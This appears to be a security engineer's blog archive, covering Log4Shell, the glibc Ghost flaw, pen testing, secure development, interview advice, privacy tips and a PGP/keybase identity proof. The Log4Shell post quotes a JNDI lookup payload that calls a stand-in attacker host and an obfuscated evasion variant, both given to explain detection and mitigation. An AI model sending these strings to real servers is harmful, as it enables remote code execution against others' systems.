Saturday, January 18, 2025

My thoughts on 2025 World Economic Forum CyberSecurity Report

I used to love reading the myriad "state of security" reports from vendors. Many of them are very well written and fun to read and they definitely guide my security program.

However, in recent years it seems like they have increasingly been selling the company line. Not a bad thing, but less fun to read knowing the bent.

The World Economic Forum has been publishing a report for a number of years now and while it is high level it's still useful. It also has the advantages of being aimed at global organizations and at governments as well as corporations. The 2025 report was published January 17, 2025.

A key quote from the paper:

... this year’s report shines a light on the increasing complexity of the cyber landscape, which has profound and far-reaching implications for organizations and nations.

Some highlights for me:

  • The report mentions supply chain problems without being alarmist.
  • The report highlights complexity of the landscape while emphasizing a strategy of resilience. This aligns well with my personal philosophy.
  • The report mentions that AI is being used in social engineering and phishing attack campaigns.
  • They are careful to note that AI is double edged and most organizations are struggling to get a handle on their use of AI.
Generally, this report is well worth reading, kudos to WEF for another good report.


P.S. Please look for a new upcoming series on Security First Principles. I am outlining and writing some posts now to convey my first principles and strategies.

Saturday, December 11, 2021

Thoughts on Log4Shell

Details on the vulnerability itself:

Log4j Is ubiquitous in just about any Java app. Jira, ElasticSearch, Minecraft, tons of cloud infrastructure.
The vulnerability is triggered when an attacker sends a malicious string to the java server. This initial vector could be any protocol but will usually include the string jndi:, often ${jndi:ldap://attacker.com:1389/a . NOTE: there are many ways to evade this and so it's hard to detect reliably across all the variants and protocols. e.g. ${jn${lower:d}${env:FOOBAR:-i}:ldap:
The Log4j package realizes that it should log that string and  helpfully formats that special string. Unfortunately, the formatting stack has built-in ways to invoke remote connections and ultimately download .class compiled java code to execute. This is the fundamental bug. (I left out some gory details for simplicity.)

Mitigations:

Log4J 2.15 patches this to disable the remote lookups. log4j2.formatMsgNoLookups
If you have earlier versions of Log4J 2, you can disable the lookups by restarting Java with the above set to true.  Command line snippet: `-Dlog4j2.formatMsgNoLookups=true`
if you are using log4j version 1.x, you are in theory not vulnerable but 1.x is deprecated and you should upgrade (maybe later though :slightly_smiling_face: ).
If you have a later version of Java (essentially 8+), you might not be vulnerable to the above. Later versions of Java have some protections around remote code execution. In these later versions, however, it is possible that the remote connection still goes out which would of course notify the world that you are still partially vulnerable. You should still patch as soon as patches are available.

Detecting & Threat Hunting:

The easiest way to check for attack attempts is to look for jndi: in your logs (or If you are an ExtraHop user, your Records (essentially log lines generated by network traffic)).
This, however, will probably not detect all attack attempts; likely only the ones for well-understood and well-logged protocols. (ain't gonna catch someone exploiting your precious MineCraft server)
And it won't catch some of the weird variants shown in the first section.
ExtraHop is working on a detector to detect these variants in incoming traffic.
Another strategy is to look for outbound LDAP connections coming from the java servers under attack. Most attackers are not using the default port 389 for the LDAP connections so you have to find those LDAP connections if you can. ExtraHop is working on a way to find these connections easily.Another strategy is to detect the download of malicious .class files. ExtraHop has a detector that looks for first time downloads of binary files such as .class or .jar.A final strategy is to use any of the many TI feeds that are being compiled from upstream honeypot vendors to block commonly used attacker IP addresses. I would note that many attackers are using Tor to conduct their attacks. Merely blocking inbound Tor might help a little bit.

Final Thoughts:

This is still pretty fluid and I'm not 100% convinced that all the attack vectors are known. Probably they are, but there still could easily be corner cases.

I'm also not 100% convinced that log4j is the only offender here. Likely there are some lesser known java packages that have much the same behavior. You can bet the bad guys are investigating this right now.Your first priority is updating your Java infrastructure apps. Get the latest version of Log4j and  the latest version of Java that you can for the protections that java can enable.
Your best strategy is to use the detection techniques I mentioned above and keep a vigilant eye on your network, inbound and especially outbound connections.One of my really big worries is the amount of CI/CD and developer code that runs in Java (Jenkins, etc.) I worry greatly that outside attackers start setting up malware websites that use jndi: strings in an attempt to get backend servers to communicate to them (imagine the harm you could cause if you could get arbitrary jndi: content on npmjs.com or similar ).

Final Final Editorial Thoughts

I've been around awhile. I had a front-row seat in 2014 for Heartbleed and ShellShock. This vulnerability reminds me a lot of ShellShock. This will have a long tail.
Fundamental properties:
  • It's ubiquitous -- Log4j is in nearly every Java app that matters.
  • It's hard to detect vulnerable apps -- It's really not easy to tell what version of log4j all your apps are running. Even SBOM (software bill of materials) might not help you because it's quite likely the SBOM just says "ElasticSearch" or similar.
  • It's easy to attack -- Bad guys are scanning right now, but I can see other attacks in the future that are much more subtle. (see above)
  • It's relatively easy to evade -- I started in on evasion techniques above. A simple regex or yara rule is very hard to write to catch all attack attempts.
  • It involves outbound connections -- Most firewalls allow * outbound. This is unlikely to change in the near future.
That's all I have for now, thanks for reading. Stay safe.

Friday, March 29, 2019

Update to my Entropy slides

I've updated my entropy slides with some new information.

This deck has now been presented at OWASP, DakotaCon, BSides Seattle, ToorCamp, LinuxFest NW and maybe a couple of other places.

Sunday, April 29, 2018

Entropy in Linux; what is it, what do we use it for?

Entropy is a tricky subject. It measures something, but what it measures is sometimes not quite clear. It's also not very clear how and when the linux kernel gathers entropy and how it uses it.
This talk is aimed at clearing up some of the ambiguities around entropy and explaining how things work internally. Additionally, we attempt to gauge how entropy is measured.

I've posted my slides from LinuxFest 2018.

I had a great tie at LinuxFest 2018. Thanks to all the organizers for putting together such a well-run conference. Thanks!

Saturday, March 25, 2017

Securing your internet privacy

On the 23rd of March 2017, the US Senate approved a bill that would allow internet service providers (ISPs) to sell information about your internet activity.
This coming week, the House will vote on the same measure.

I believe this is a very damaging act. Your internet activity should be private, just like your library card activity and your movie rental activity.

There are a few things you can do to protect your privacy from your ISP today. See below for more of my favorite general privacy and security links.

I always recommend using SSL/TLS as much as possible. Install the EFF's HTTPS Everywhere browser plugin. This is good but it will not completely blind your ISP as they will still see the IP address and domain names of who you are contacting.

For better protection, use a reputable VPN service. This is not too complex but it will cost you money. I'm still investigating my VPN options, so I'm reluctant to make a recommendation now. I'd prefer to set up a VPN on my home router so all my devices are protected when at home. I'd also like to have the VPN exit in Europe to get GDPR privacy protection.
Here are a few links to get you started:
ARS Technica's in-depth article on How to stop ISP's from selling your data.
The impossible task of creating a "best VPNs"list
TechRadar 10 best VPNs

Finally, here are some good general resources:

The Electronic Frontier Foundataion is a great resource for security and privacy. They do HTTPS Everywhere, Privacy Badger, and have the Surveillance Self Defense site.
You may want to consider using the Brave browser to help with ad-blocking.
Keep your browser and OS up-to-date.



Sunday, September 11, 2016

TSA keys are similar to Federal encryption backdoors

The TSA has long had master keys for each type of TSA padlock. Stolen keys have purportedly been available for some time, but someone used a picture of the TSA keys posted to the Washington Post to create 3d printable keys.

When any organization proposes that governments be allowed to have extra keys to citizen's encrypted traffic, this is exactly what we are going to get.

Any crypto system that has multiple keys is more vulnerable than a system that has one key.
And protecting keys is hard if you have to distribute them.



Microsoft Natural Keyboard

I've used this keyboard since 1999.
Today I took it apart and cleaned it up. I'm not going to show you pictures from before. But here are some shots after.
Disassembled

I ran the keys through the dishwasher. That cleaned them up nicely. The rest of the keyboard had to be wiped down by hand.
Pieces. The dishwasher cleaned up the keys nicely.

I'm hoping I can get a few more years out of this keyboard. 

Saturday, February 20, 2016

BSides Slides

BSides Slides

Securing the Software Engineering Process slides were presented at BSides Seattle on February 20, 2016. They have also been presented at a few other events.

These slides are my own work and are not the property of my current employer, whoever that might be. I'm releasing the slides under a Creative Commons license. Feel free to discuss the ideas within. Please don't re-present the slides as your own. I'm happy to present these slides to any engineering organization. Contact me if you'd like it presented.

Please enjoy.

Thursday, January 14, 2016

Interviewing in the technology industry

The following is an article that I wrote for a young relative just out of school trying to get their first job in the tech industry. It's not specifically about security, but it applies to most software engineering jobs.

The interview process is multi step. First, you need to get a recruiter or HR person to notice your resume. Then you’ll have to pass at least one phone screen, then you’ll have an in-person interview. It’s a chain, so you have to pass every single hurdle to get a job. You can’t screw up any of them. Here are some strategies that I find work.

  • Resume
    • First priority: Your resume is the first impression of you. Make it the best you can.
    • Keywords: Most automatic resume robots just read keywords. If you don’t have the right keywords, you won’t get noticed. Keywords are going to be “software Engineer”, Java, Python, C++, HTML, IP/TCP/UDP, Android, IPhone, virtualization, VMWare, Visual Basic, SQL, HTML”.Don’t be afraid to work “cloud” or "Amazon EC2” onto there if you have experience.
    • SWEngineer: Please call yourself a software engineer. I don’t like “developer”. A developer just writes lines of code. An engineer builds large and complex systems out of code. 
    • Projects: Put a blurb about what you did in class. Use words like “Member of a team that implemented …” or “Personally implemented …”. Just 1-2 sentences on each class is fine, but try to distill down what it is that you personally did. If your resume says "implemented BASE64 in C", I’ll ask you questions about the implementation. If you say “uh, I didn’t actually implement it, I wrote the header file with the APIs, the rest of the team did the work”, then I won’t be impressed. If your say “member of a team that implemented BASE64”, then I’ll ask about your team responsibility and how you dealt with the team dynamics. It’s also good if you can say “led the team that implemented BASE64”.
    • Projects pt2: If it is on your resume, it’s fair game for me to ask you about it. If you are asked about a recent project that is on your resume and can’t answer coherently, that’s bad. Make sure if it’s on your resume you can speak about it.
    • Keep a short resume: After 20 years, mine is only 2 pages. When I read 5 page resumes, I just get grumpy that they can’t distill down their experience for me. It’s really hard work to maintain a 2 page resume as you get more experience, but do it.
    • Experience: Every 6 months, touch up your resume with what you have done. What you’ll find is that the last project that took 4 sentences to explain and takes up 2 inches of resume space was really shiny at the time but isn’t nearly as cool as the newer thing you did. Feel free to cut older stuff back down to 1 sentence. I know you worked hard on those 4 sentences, but they don’t matter anymore, you have something shinier.
    • Complete: If the interviewer or recruiter says “I didn’t know you did that”, then you screwed up. Put it on your resume. Especially in the first few years out of school.
    • github: Put your github.com site on your resume. A technical interviewer who is really interested in you will look at it. Make sure that you touch it every so often. Maybe place a project on there and just work on it occasionally, even a website or a node.js project to do something silly.
    • LinkedIn: It's great to have your linkedin profile on your resume. In my opinion, your resume should be short and catch people’s attention. Your LinkedIn page should have more details about what you do and your passions. I update my linkedIn every few months.
    • LinkedIn pt2: Culture your LinkedIn profile as your professional internet persona. Everything you do there should be professional and polished and shine a good light on you. Collect powerful mentors on LinkedIn and make good connections. Don’t accept every connection though, stick with people you actually know.
    • Facebook, etc: As an interviewer, I never look at someone’s Facebook page. I don’t care what you do in your spare time. I do expect my HR people have looked around the internet and made sure that you pass a sniff test and are not a complete maniac. Facebook, etc. should not be embarrassing for you. (Duh)
    • Contact methods: As a security & privacy advocate, I never put my address on my resume. Only my phone and personal email address. And I think adding the phone is being generous. If recruiters want to contact me, first it should be via email (or LinkedIn) and set up a phone call for later. That’s what I do as a hiring manager and what I expect any recruiter to do.
    • Spelling/grammar errors: Don’t make them. Double check everything. If your resume is sloppy, I’ll assume you are a sloppy coder too. 
    • Resume format: PDF!! Yes, your resume needs to fit on 8.5x11 paper. Yes, it should look nice. But you will probably never send a paper resume to anyone; you’ll send it electronically. Make it look nice electronically and if it doesn’t look as good on paper, who cares. I greatly prefer PDF to MSWord or any other format. You can make hyperlinks out. And best of all, PDF is very good at looking the same no matter what viewer anyone uses.
  • Recruiters
    • Recruiters: Their job is to find qualified candidates but not waste the time of the engineers who will be doing the interviewing. They have a quota so they want to send you to a phone screen. Your job is to convince them that you won’t waste anyone’s time. Try to suss out what they think the hiring manager needs (see later) and convince them that you can solve that problem.
    • Technology: Recruiters often don’t have a technical background. To get past them, you need to be professional and polite and sound like you know what you are doing. If they do have technology background, then your job is still the same only now you get to talk deeper about technology. That’s even better.
    • Think like a recruiter: They will take less than 30 seconds to look at your resume. Make them be interested in you. Highlight personal projects and things you’ve done to make yourself stand out.  If you were a tech recruiter and had to speak with 20 uninteresting nerds per day, you’d want to find someone who stands out. Show some passion for some accomplishment of yours.
    • Think like a recruiter pt 2: Make your resume clearly state what you want to be. Many recruiters I speak with say that they don’t know what to do with schizophrenic resumes — like mine when I couldn’t figure out if I was a manager or an architect. Figure out what you want to do and make sure your resume reflects that.
    • Recruiter pt 3: They will likely ask you some canned technical questions. Don’t be afraid to say “I don’t know, can I get back to you after I’ve studied that?” They’ll be impressed that you admitted you don’t know and that you want to study for the job. 
    • College grads: Show enthusiasm and a willingness to learn. Clearly you don’t have much experience, so you need something to stand out. One of the best out-of-college hires I ever made was a person who just said “I don’t know” to a number of very hard questions. I hired her because she had enthusiasm and demonstrated a willingness to learn. 
  • Phone screen
    • Phone screen: Ok you made it past the first tier. Congratulations. The phone screeners job is to decide if you will waste other engineers time if you come in the office for a full loop. He doesn’t have a hiring quota, so he’s much more likely to reject you. On the other hand, he’s probably on the team and he knows better what skills are needed in a new team member.
    • Screener: Do some homework. Find his LinkedIn page. Don’t try to connect with him, just make sure you know who he is (don’t be creepy). Try to study some of the areas in which you know he works. Most likely he’ll answer questions in that area.
    • Engineer: The phone screener is likely already an engineer. He’s also likely to be someone you will work with closely.  He will know more than you and will ask hard questions. Find out what he does and what he needs (again, see later).
    • “I don’t know”: Don’t be afraid to say it. It’s not a sin to say “I don’t know”, but it is a sin to not try to know. “I don’t know, can you help me?”, or better yet “I don’t know the answer to that but I know about this small portion of it. I’d like to know how that fits into the big picture.” This is same as with the recruiter, but now you are in the technology world. Try to understand the tech as deeply as possible, that will impress the person.
    • Just out of school: If you are just out of school,  interviewers are looking for someone who can they can grow into a good engineer. The only way that they can know that is if you demonstrate the ability to think on your own. 
    • Code questions: I prefer to do thought exercises over the phone, not straight coding. However, Google Docs has made it easier for someone to see you code. Don’t be nervous about exact syntax, make sure you get the algorithm. If you realize you made a syntax error, correct it but don’t fuss over it. Think big picture.
  • Interview process
    • Interview: You made it this far. Congratulations. Each interviewer you see will likely report back to the manager or the next person right after your interview. Assume they communicate.
    • Format: I like five or six 45 minute interviews with different team members and a lunch with the hiring manager. Be prepared for different interview styles. Some people ask puzzle questions, some want to get to know you, some will make you write code.
    • Interview styles: Individuals interview differently. Be prepared.
      • puzzle-master: Asks brain puzzles to see how you think.
        • Try to show that you are analytical and think your way out of problems.
      • whiteboard coder: makes you write code on the board.
        • Try to show that you know algorithms that help you solve problems.
      • get-to-know-you: Discusses your experience and asks questions about what you’ve done.
        • These are the easiest interviews - or so you think. These folk want to see if you know everything you said you’ve done.
    • Resume: Take paper copies of your resume with you (Yes, I know this contradicts earlier advice about electronic resumes). If an interviewer walks in to see you without your resume in his hand, politely offer a copy. Many times, the recruiter sends an electronic copy to the interview loop. The interviewer (because she’s extremely busy doing other things) probably glanced at it but has spent less than 5 minutes with it. 
    • Blabbing: If there is a lull in the conversation or if they were unprepared and want to look at your resume, then start to tell them about your latest project or an interesting project while they read your resume.
    • Bio: Good interviewers offer to let you take a break or ask you if you need anything. The last thing you need is a full bladder or a dry mouth in a high pressure situation. Take them up on their offer for water or a bio break.
    • Hiring Manager: If you are lucky enough to get to speak to the hiring manager, then you are doing well.
      • Most important advice in this blog: Find out what pain the hiring manager has. Convince him you can erase that pain. If his problem is that the app is 2 months behind schedule and they need someone who can write SQL until the project ships, then you’ll be writing SQL for the next 2 months. If you can’t write SQL, ask if you can take workload from another team member who can write SQL. I cannot stress this enough. This will get you the job. Hiring managers are the ones making the decision. Impress them.
    • Interviewee/er: You as an interviewee are also interviewing them. If the team snipes at each other or is dismissive of you or anyone else or any red flags go up, you may consider saying no to the job. Dysfunction ain’t cool.
    • Finishing it up: I always like to say “thank you for your time” to anyone I interviewed, whether I plan to hire them or not. You should tell your interviewers, “Thank you for your time.” They are busy. They might even be annoyed that they have to interview a noob like you. If you are gracious and humble they’ll be more likely to hire you.
  • Misc:
    • Title: You’ll probably start off as a Software Engineer 1. You’ll progress to SW2, then SW3, then Senior SWEng. Then Principal Engineer or Architect or you can move into a management track. In a good org, there’ll be very good criteria on what it takes to move from 1 -> 2 -> 3. After that, advancement gets to be murky. Generally, to move up from Senior, you need to tackle a project no one else will tackle or build something amazing that no one else could build. Or demonstrate solid team leadership.
    • Title pt 2: My take is that title doesn’t mean much. Get some experience, find out what you want to do, then find a path to Sr SW Eng.
    • Salary: I’m no good at giving advice on this. Maybe you can look up local salaries on the internet.
  • Best advice Summary:
    • Find out a problem your boss needs to solve and solve it for them.
    • Be enthusiastic and eager to learn.

Thursday, February 5, 2015

Software Engineering Security part 6: Running External Penetration Tests

Engineering shops often won’t have the expertise or the time to do deep security testing on all areas of the product. Using external security firms who have specific security knowledge can extend security testing well beyond their own capabilities.

External security testing — often called penetration testing or pen testing — can be effective when the scope is well-defined and narrow. It is better to do four small tests on specific areas rather than one large test across much of the product. Two to three week engagements are relatively inexpensive and should be run once per quarter. Even four engagements a year are generally cheaper than a full time security tester.

Pen tests also grow security expertise in the organization. Dev and Test resources who participate in the pen test will have a deeper understanding of security issues.

To make the most of a pen test engagement:
  • Security contractors are very expensive. Be prepared to spend time before the pen test configuring the software, setting up the test harness and gathering documentation to make the most efficient use of their time.
  • Ideally a security test is run on full featured beta code about 8 weeks before the ship date. This will allow time to fix any issues found before shipping. This is not always possible, so run the test when you can.
  • Assign severity to the issues; policy should dictate action.
  • Many pen testers will want to inspect source code. The steps below outline a black box testing strategy in which source code is not needed. Inspection of source code is generally a longer engagement and should be a supplement to source code analysis used during construction.
  • Select an ethical pen tester. Ethical pen testers will obtain permission before engaging, document all steps, judiciously select targets, and report all findings.

To run a pen test, follow these steps.

Step One: Assign a pen test resource
Assign an owner for the pen test. This person will be responsible for writing the RFPs, configuring the test harness, gathering documentation, communicating with the contractor, setting up meetings, and other tasks. Expect these tasks to take roughly one third to one half time during the pen test.

Step Two: Focus on a feature
Select a feature that is exposed and has potential weaknesses that could be exploited. Consider features that have had known vulnerabilities or weaknesses in the past. Also consider features that have known deficiencies in test cases or a long legacy of different engineers. Specify the feature and the constraints in the RFP. Ideally, find a vendor with experience in the subject area.

Step Three: Involve feature engineers
Select engineers from dev and test to be responsible for actions during the pen test. Record roles and responsibilities during the engagement. Dev engineers are responsible for explaining design decisions, asking questions to understand the issues raised, and securing the code. Test engineers are responsible for understanding the source of the issues, writing tickets, and developing test cases around the issue so that no similar issues are found.

Step Four: Set up the scenario
Pre-configure and set up the scenario. If possible, configure VMs with the software and deliver those to the pen tester. Ideally, set up a cul-de-sac network that contains just the software under test and allow the contractor access to that network.

Step Five: Run the pen test
Schedule weekly meetings during the engagement. Involve the dev and test engineers and and make sure they understand the issues and can fix them. Focus on correct mitigations rather than implementation details at this point in time.

Step Six: Followthrough
Classify all vulnerabilities according to vulnerability severity and have them worked according to policy. Write unit tests to ensure that similar vulnerabilities don’t happen. Write test cases to avoid similar issues. Hold a postmortem lessons-learned meeting and spread the security knowledge through your organization.


Following these steps will build a more secure product, grow security knowledge in the organization, and develop better practices around secure development.

Wednesday, January 28, 2015

CVE-2015-0235: Ghost

The last two days have been taken up with the glibc ghost vulnerability found by Qualys. They have a good description and a good detailed analysis.
Essentially this is the old "parsing untrusted input" problem -- a value comes in from a dubious source and the code needs to be robust against an attacker who can choose arbitrary malicious input.

Vulnerabilities like this are hard to classify. It's almost certainly exploitable by someone who has a local account on a box. But determining if it is remotely exploitable is difficult. This is what is called the "cone of uncertainty"; it takes time to do the research and find out if any code paths are directly vulnerable. Starting at the vulnerable gethostbyname() functions and working out is time consuming.
Many times this week I have wished for a rough equivalent to perl's taint checking -- let me flag a piece of memory as "tainted", and allow me follow it through the system to an arbitrary function call.

Since vulnerability classification is the first step in determining actions, use attack modeling techniques to determine exploit vectors. Enumerate all the ways untrusted input can make it through the system. For example, an attacker may be able to input an IP address into a field in a web app. In this case, an IP address text field could trigger the vulnerability.
Once all vectors are enumerated, determine if mitigations are in place. In the case of ghost, only 1024 or longer inputs may be vulnerable. When that work is done, there should be fewer code paths to analyze.

As Qualys proved, there are many possible attack vectors. If they cannot all be analyzed in a short amount of time, then prepare for the worst case.
Weigh the risks before deciding a plan of action. Often the fix for a new vulnerability is not immediately available and issuing an incomplete fix is worse than taking a few extra days to publish the correct fix.
In this particular scenario, the risk of patching glibc is relatively small -- the code has been patched since 2013 and there is a definitive test case that can be run easily. It is prudent to issue a patch as soon as possible.
Given the classifications published earlier, ghost would qualify as a severe vulnerability.  Actions should be dictated by established policy.


Thursday, January 15, 2015

Software Engineering Security Part 5: Third Party source

To reduce the time to develop products, many software shops include third party source — often open source — into their product. This is a liability when the source has vulnerabilities.

Step One: Set up a license review board. Before including third party source, consider how it will be used and the license. Since many licenses prohibit certain behavior, a license approval board should decide what licenses are acceptable and under what conditions.

Step Two: Set up an inclusion review board. Practice good risk management before including the source. Identify risk attributes and assign a score before inclusion. Quantify the risk by investigating and ranking these factors:
  • History of vulnerabilities. If a project had a high number of vulnerabilities in the past year, it has high risk. OpenSSL had 21 vulnerabilities in 2014.
  • Project maturity. Code that is abandoned by it’s authors carries high risk. If some technology or code is already stale, it is high risk. Even if it is a hot piece of technology, it may be still be abandoned in favor of other technologies. Mature and stable projects will have lower risk.
  • Ownership. If a team wants to include third party source but will not maintain it, it has high risk.
  • Exposure. If the source exposes an external interface, it has more risk.
For example, apache has high exposure, but relatively low risk because of it’s maturity and recent history of vulnerabilities. Third party libraries used to parse untrusted input, e.g. XML or JSON parsers, may have high exposure and high risk due to recent vulnerabilities.

Step Three: Track third party software in use. Appoint an owner and a backup to watch for security updates from each third party package. The build process can be used to track third party source and create tickets to upgrade software. If there is an upstream OS vendor, consider using their updates.

Step Four: Have a maintenance strategy. Consider how source will be maintained and updated by the owners. Consider purchasing an update service from a vendor. If an upstream vendor does not cover the desired packages, consider automating updates from upstream source repositories.
Also consider running security tests aimed specifically at functionality exposed by the third party source. Report the findings back to the vendor or open source project.

Step Four: When there is a vulnerability, assign severity and follow process to update it. Third party source should be treated no differently from proprietary source when there are vulnerabilities.


Following the above steps is an effective risk management process for third party source.

Wednesday, January 14, 2015

Contacting me

If you need to contact me privately, my public key is:

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG/MacGPG2 v2.0.22 (Darwin)
Comment: GPGTools - http://gpgtools.org

mQENBE/89NUBCADDLw1eYccoW50xxniyv4WPTFNIwaEXm25EebioaYS1DOT7LQWS
2xzHxxSayfcJ1cFHhNfH6v03t3oMtKQocT03LN440QPAJaFNj7KXffsobmDqN7uA
xAMzehYtD2Ot1HaQ+NEWR8UpN1+G+EIRzlSI2u/LXTVwN2dL59T7kUvvAPhRHiA4
Diokp43bs+c4DaVPcCrq+Pga0+0DPqsMyjXy8jT816T+rhhE0bZkhplK3GNBQ05+
cOQIXqaMGNmXza/nSazERz/4LMSqbR4ix8ZdIsMoCtqny2/tJQq6offGGN1Sb2s1
v6QQrdSoAOjGYwC+VJsdNp0kTxuJrz7xW5HzABEBAAG0IEplZmYgQ29zdGxvdyA8
Y29zdGxvd0BnbWFpbC5jb20+iQE/BBMBAgApBQJP/PTVAhsvBQkHhh+ABwsJCAcD
AgEGF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3gDe
n6MP0qS4
=YCC8
-----END PGP PUBLIC KEY BLOCK-----

And here is some key base info to verify and find me.

==================================================================
https://keybase.io/costlow
--------------------------------------------------------------------

I hereby claim:

  * I am an admin of https://swengineeringsecurity.blogspot.com
  * I am costlow (https://keybase.io/costlow) on keybase.
  * I have a public key with fingerprint 8617 AE0B 3D7E 7706 9F57  D9C2 EA75 ABB2 17B1 40DB

To claim this, I am signing this object:

{
    "body": {
        "key": {
            "fingerprint": "8617ae0b3d7e77069f57d9c2ea75abb217b140db",
            "host": "keybase.io",
            "key_id": "ea75abb217b140db",
            "kid": "010110f264e2b3e589aefa9d0c0b13facb62d42dd7bf1597f920f46d0470bd3da2770a",
            "uid": "d44bcf7ca07521dc07ce17dd948da200",
            "username": "costlow"
        },
        "revoke": {
            "sig_ids": [
                "3c2679a4f1af0d808709852174aa9104618b516dbb0d41815632dd372b577a870f"
            ]
        },
        "service": {
            "hostname": "swengineeringsecurity.blogspot.com",
            "protocol": "https:"
        },
        "type": "web_service_binding",
        "version": 1
    },
    "ctime": 1421248321,
    "expire_in": 157680000,
    "prev": "d02d862793f407df61e3b00c79e6c3ce9ff2720479de2cca39d4689e3ae9d8fc",
    "seqno": 8,
    "tag": "signature"
}

with the aforementioned key, yielding the PGP signature:

-----BEGIN PGP MESSAGE-----
Version: GnuPG/MacGPG2 v2.0.22 (Darwin)
Comment: GPGTools - http://gpgtools.org

owFtkl9sFEUcx68noDRKpJUaE/RhgtHgpc7Mzu7sXAkG02iaAKJBSSC1zN9juevu
dXfv2kstJvViozUpUYxG8KGkCQIGGv7FEOMT4IOACEZEXwg+GBqoRPwfY51t8M15
mcxvvvP5fX/fzM777srlW4LZl5p/3OodavniushtPDG2fhiISDVAcRiU9fxmgrCk
42ochCkoAt9DlGsoHEU1pdBjxqWKSaw5dbkQGFGBCFQCFMC2KMleWIzgie4MIluz
h75A2er/6MvzFxBBhKDBHtFYONr1GdeGMwUlFMgxXAoPK4KVosIgl1HDMDTEU5BQ
KJSjOLa2uMXV5nGKECENlRxSFyMlIZUaUaUY8a0UwkyY6Djk/dqqpbVciQbBSAHE
uh6VdRZAEpSs5wQUtwBHYo8yTgziBiof+hQy33Ip4ZwhSDzkCxd5SgioCPKR6znW
qUOxcCnlVm1Ar2XbhvVAzsOzkO40TwZ1WApCrW3UpUTLWhykjU5RiUpJNUo7ZdRv
zVbjKI1kVLH6bWlaTYqZ17RRzQCDWvTdQfeJIFQWY1/UdZwEUQiKyCplGmS9EMEI
E9/BqAD0UDWIdV8Q2gmRSz0f2pU10vUsP4iV72HKHEMgVcZD2hEQSsq0Jx2pmTGY
Yhs+UxpLyR2miOcz7XDNlG8kyKYdCCNQ9K1PXsrmDEohT2uxBiOtb7QsX5BryecW
Lcxnny/Xuvj+/35kz3t3z/Hf3q8c3HX1tVWrf5lsWzHx00D7sTfbvz+0vOJdgntv
jU22ziwhz9zYVL702dpr549/N75hB9m6tbZhz7fnQP7iD4367bdHhz9Qpmd838O7
t3f1r5vdc2r6q2+a6z69GT39yIe9r5debMg10w8lE7Xu3Je/dvivPDH+wMr1+NXP
mxfW/tjT7I/z039NjU49fmMuPTLSfXLmzDvo59reVduPfd1+fNfEyf3L/uw4NMCa
+anuT54/vPPRy0cKk6ed86s3PzvbNVN46vqag2RRx9DRy2ejFUs+uvj36XtPCfly
dM+7566MpRsfvL3grR0LVy69UJNtv/eax5bO7j5be+6fM3NtH4++cKXcdWDm2pP/
Ag==
=2Dff
-----END PGP MESSAGE-----

And finally, I am proving ownership of this host by posting or
appending to this document.

View my publicly-auditable identity here: https://keybase.io/costlow

==================================================================

Sunday, January 11, 2015

Software Engineering Security part 4: Definitions and Language

This blog has covered assigning severity to vulnerabilities, but we haven’t covered the definitions of vulnerabilities.

A vulnerability is a weakness in software. For a vulnerability to be exploited there must be a weakness in the system, it must be exposed to an attacker, and it must be exploitable by the attacker.

Security works best in layers, so eliminate or mitigate all three of these possibilities to reduce vulnerabilities in software.

To reduce the number of weaknesses, use secure development practices and a secure development lifecycle.

To reduce exposure, limit the software’s threat surface. Limit the number of services exposed externally, use a firewall, and ensure that untrusted user input goes through a trusted and secured code path.

It’s hard to reduce all exploitability vectors since attacks only get better and future attack methods can’t be reliably predicted. Host-based intrusion protection such as SELinux, stack protection, and ASLR work reliably but take diligence and effort to ensure they are always enabled and kept up to date.

Finally, consider exposure when assigning vulnerability severity. Often a vulnerability has severe consequences but can be mitigated by disabling a service or feature. Calculate the CVSSv2 score for different scenarios and consider how best to mitigate a vulnerability.

Monday, January 5, 2015

Software Engineering Security Part 3: Vulnerability Response

The two previous articles covered vulnerability tracking and secure development. This article will dive deeper into the final phase of the secure development lifecycle — vulnerability response. Responding well to vulnerabilities is a sign of a mature development shop.

The primary objective is to keep all customers as safe as possible. Update software and communicate mitigation information to customers to keep them safe.

Step One: Assign a severity to each vulnerability
See the earlier article on tracking vulnerabilities for example severities. When a vulnerability is critical, a response is required. Often, the cone of uncertainty for a vulnerability will linger for days with new information surfacing regularly. For example, Shellshock contained 6 CVE identifiers spread out over about 5 days. A dedicated team needs to continuously analyze vulnerabilities and watch for new information.

Step Two: Follow process and decide when to update
To keep all customers safe, coordinate the release of software patches so all customers have an upgrade path. Release any mitigation details at the same time as the software patch.
If the vulnerability is in third party source, there may be no pre-arranged coordination. Heartbleed and Shellshock are two examples of third party source that required immediate attention.

Step Three: Update
Release the update to customers.

Step Four: Communicate
Communicate to customers the severity of the issue and give them mitigation strategies if they cannot update immediately. Do not release details that will tell attackers how to attack the vulnerability. Be forthcoming about the vulnerability, do not hide information. Customers would rather patch than be hacked because of a vulnerability that was not well communicated. Finally, use CVE numbers and update CVE/NVD with the details so that customers can find information.

ISO 30111 deals directly with vulnerability response and can be consulted for more information.

Following these steps and rigorously analyzing vulnerabilities will greatly improve your organization’s response to vulnerabilities.

Links to other articles in this series:

Tuesday, December 30, 2014

Software Engineering Security Part 2: Secure Development

To build secure software, integrate secure development practices into your existing software development lifecycle.
This article covers four general lifecycle areas: design, construction, test and vulnerability response. Developing secure software is complicated, but when broken down phase by phase, actionable plans can be created.

Design
Studies show that the cost of bugs increases drastically as the bugs progress through the lifecycle. This is especially true of security issues, which can be extremely expensive. Design-time security reviews, including threat modeling, can be very effective. Start simple. Identify assets. Identify the threats against these assets, then find mitigations against the threats. For example, configuration data is an asset. Loss of confidentiality or integrity of that data is a threat. The threat can be mitigated by using TLS to protect the data. Engineers and QA engineers should be involved and security test cases should be written based on the threats identified.

Construction
The design may be airtight, but the implementation may be poor. Use appropriate and effective tools during construction; peer review, unit testing, static code analysis, binary analysis, and enabling security features of the operating system (ASLR, stack protection).

Test
Consider each of the mitigations from the design review and write test cases that ensure design principles are not violated. Run one or more fuzz testing tools. Run any available security test tools against the software. Nothing is more embarrassing than a customer scanning their shiny new software and finding glaring security holes. Finally, consider running external penetration tests. Be sure to feed any vulnerabilities back into the lifecycle.

Vulnerability Response
This final phase is very important and cannot be overlooked. See my earlier article on vulnerability tracking. Define severity and policy in advance. Internal communication and external communication about vulnerabilities must be timely and correct.

A lifecycle is part of every development shop. Integrating security into each phase of the lifecycle will create a secure development lifecycle and greatly improve the security of the software.

Links to other articles in this series:

Sunday, December 28, 2014

Software Engineering Security Part 1: Identify and Track Vulnerabilities in Software

